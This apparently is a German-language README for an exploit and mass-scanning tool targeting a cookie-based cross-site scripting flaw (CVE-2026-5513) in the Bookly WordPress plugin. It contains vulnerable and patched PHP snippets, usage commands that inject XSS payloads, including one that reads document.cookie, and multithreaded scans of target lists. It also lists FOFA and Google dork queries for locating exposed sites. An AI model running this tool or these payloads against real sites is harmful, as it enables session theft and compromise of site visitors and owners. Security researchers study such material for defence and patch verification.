Angreifer → Bösartigen Cookie setzen (bookly-customer-full-name=<script>...</script>)
         → Seite mit Bookly-Buchungsformular besuchen
         → Plugin liest Cookie, gibt Wert ohne Escaping aus
         → XSS-Nutzlast wird im Browserkontext des Opfers ausgeführt

// GEFÄHRDET — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name'];  // Keine Bereinigung
echo '<input type="text" value="' . $full_name . '" />';  // Kein Escaping

// GEPATCHT — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';

 ✓ Automatische IP-/Domain-Überprüfung (HTTP/HTTPS, gängige Ports, Weiterleitungserkennung)
 ✓ Erkennung des WordPress- und Bookly-Plugins mit Versionsprüfung
 ✓ Erkennung der Cookie-Einstellung (BooklyL10n JS-Analyse + Canary-Reflexion)
 ✓ XSS-Tests in mehreren Kontexten (HTML, JavaScript, Attribut-Injektion)
 ✓ Nutzlast-Injektion mit Reflexionsüberprüfung
 ✓ Einzelziel oder Massenscan aus Datei
 ✓ Multithread-Scan (bis zu 20 Threads)
 ✓ Proxy-Unterstützung (Burp usw.)
 ✓ Automatisches Speichern verwundbarer Ergebnisse
 ✓ Interaktives Menü + CLI-Modi

pip install requests colorama

# Einzelziel prüfen
python CVE-2026-5513.py -u https://target.com -v

# Einzel-IP prüfen (automatische Portabfrage + Weiterleitungen)
python CVE-2026-5513.py -u 167.99.0.203 -v

# Prüfen + XSS-Nutzlast injizieren
python CVE-2026-5513.py -u https://target.com --inject -v

# Benutzerdefinierte XSS-Nutzlast
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"

# Massenscan aus Datei
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt

# Mit Burp-Proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080

python CVE-2026-5513.py

https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080

Schritt 0 → Ziel überprüfen (IP/Domain → Basis-URL auflösen, Weiterleitungen erkennen)
Schritt 1 → Bookly-Plugin erkennen (readme.txt, Plugin-Verzeichnis, Assets, Versionsprüfung)
Schritt 2 → Cookie-Einstellung prüfen (BooklyL10n JS-Analyse + Canary-Reflexionstest)
Schritt 3 → XSS-Reflexion testen (HTML-Kontext, JS-Kontext, Attribut-Kontext)
Schritt 4 → Nutzlast injizieren (falls --inject-Modus, Reflexion überprüfen)

# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"

# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"